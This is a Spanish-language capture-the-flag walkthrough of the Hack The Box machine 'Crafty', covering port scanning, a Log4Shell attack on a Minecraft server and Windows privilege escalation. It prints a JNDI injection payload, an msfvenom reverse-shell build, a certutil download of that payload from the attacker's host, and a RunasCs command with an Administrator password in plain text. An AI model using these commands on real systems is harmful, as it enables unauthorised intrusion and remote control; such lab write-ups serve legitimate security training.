🟩HTB - Crafty
https://app.hackthebox.com/machines/Crafty

Información General
Nombre de la Máquina: Crafty
IP de la Máquina: 10.10.11.249
Sistema Operativo: Windows
Dificultad: Easy
Fecha de Publicación: 10-02-2024
Enumeration
Ping para obtener ruta de retorno
Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R
para incluir la ruta de retorno:
ping -c 1 10.10.11.249 -R
Escaneo de puertos con Nmap
Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p-
para escanear todos los puertos, --open
para mostrar solo los puertos abiertos, -sS
para un escaneo de tipo TCP SYN, --min-rate 5000
para establecer la velocidad mínima de paquetes y -vvv
para un nivel de verbosidad alto. Además, utilizamos -n
para desactivar la resolución de DNS, -Pn
para no realizar el escaneo de ping, y -oG allPorts
para guardar la salida en un archivo con formato Greppable:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.249 -oG allPorts

Escaneo detallado con Nmap
Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV
para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__
(reemplazando __PORTS__
con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted
:
sudo nmap -sCV -p80,25565 10.10.11.249 -oN targeted

Modificando /etc/hosts
Para añadir la entrada "10.10.11.249 crafty.htb" al archivo /etc/hosts
, puedes usar el siguiente comando en la terminal:
echo "10.10.11.249 crafty.htb" | sudo tee -a /etc/hosts
Este comando añade la dirección IP 10.10.11.249
asociada al nombre de host crafty.htb
al archivo /etc/hosts
de tu sistema.
Análisis de sitio web con WhatWeb
Para obtener más información sobre nuestro objetivo, utilizamos la herramienta WhatWeb. Esta herramienta nos permite identificar tecnologías web utilizadas en el servidor, como el sistema de gestión de contenidos (CMS), el lenguaje de programación, los plugins y otras características. Ejecutamos el siguiente comando:

Descubrimiento de directorios
En la fase de descubrimiento de directorios, se utilizan herramientas como WFuzz y Dirsearch para identificar posibles puntos de entrada o recursos ocultos en el sitio web objetivo.
El comando utilizado fue:
#Partimos con mi favorito dirsearch
dirsearch -u http://crafty.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
#Otro wordlist que vale la pena revisar.
gobuster dir -u http://crafty.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

Lamentablemente no pillo nada util, por lo que entro a la pagina web desde Firefox:

Agregamos la ruta play.crafty.htb
pero redirecciona asi que no pillamos nada.
echo "10.10.11.249 play.crafty.htb" | sudo tee -a /etc/hosts
Escaneo de Vulnerabilidades

Ya cuando se me agotaban las ideas decidì instalar Minecraft 1.16.5, ya que curiosamente puse en Google, "Minecraft 1.16.5 exploit" y me encontré con algo interesante.

Por lo que decido instalar la version 1.16.5 en mi maquina kali con TLauncher (hay mejores formas como pyCraft pero ya demasiado tarde lo hice así )🤣. Investigando Log4J (https://github.com/kozmer/log4j-shell-poc)
sudo java -jar TLauncher-2.895.jar


En el README.md de https://github.com/kozmer/log4j-shell-poc, podemos ver que se necesita descargar una version en específico de JAVA para el exploit. Por lo que la descargamos en https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.

Explotación
Procedemos a ejecutar el exploit, por cierto modifcamos el poc.py para que sea para windows ("cmd.exe").
sudo python3 poc.py --userip 10.10.14.17 --webport 80 --lport 6666
Mientras dejamos en escucha nuestro nc al mismo puerto que utilizamos en el exploit. Como dice en el exploit debemos enviar desde el chat de minecraft ${jndi:ldap://10.10.14.17:1389/a}


Escalada de Privilegios
Como vamos a querer descargar archivos y cosas así no podremos desde esta shell por lo que intentaremos establecer conexión con una shell hecha por metasploit.

Creamos nuestro reverse shell, se llamara expl.exe (por defecto)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=7777 -f exe -o expl.exe

Luego desde msfconsole configuramos el metasploit.

El ultimo paso era subir un servidor Python en el mismo directorio donde teniamos nuestro expl.exe generado por mfsvenom. Para luego descargarlo desde nuestro equipo victima.
certutil -urlcache -f http://10.10.14.17:8888/expl.exe %temp%/expl.exe


Ahora si tenemos la capacidad de poder descargar archivos, por lo que descargamos el .jar.

Para abrirlo debemos utilizar jd.gui.

Nos encontramos con unas credenciales:
s67u84zKq8IXw

Seguimos, utilizando RunasCS version 1.5. Para ello lo descargamos de https://github.com/antonioCoco/RunasCs, además tendremos que crear otro expl2.exe con msfvenom:

Luego desde nuestra sesión de meterpreter subimos nuestro archivo expl2.exe y RunasCs.exe a server/logs:

Por ultimo utilizamos nuestro RunasCs.exe para ejecutar el expl2.exe con las credenciales obtenidas.
.\RunasCs.exe Administrator s67u84zKq8IXw expl2.exe



Aquí tenemos la flag del root 🎉

Conclusión
La verdad fue una maquina fuera de lo común, no encontraba nada en el Enumeration, por lo que Googlee un poco y vi que realmente había que meterse a jugar, y bueno la version del Minecraft tenía este exploit y valía la pena intentarlo y aprenderlo, buena máquina para salir de lo cotidiano, además divertido como tocó hacer la escala de privilegios, soy muy novato con Metasploit por lo que fue un desafio para mi.

Referencias
¿Te fue útil?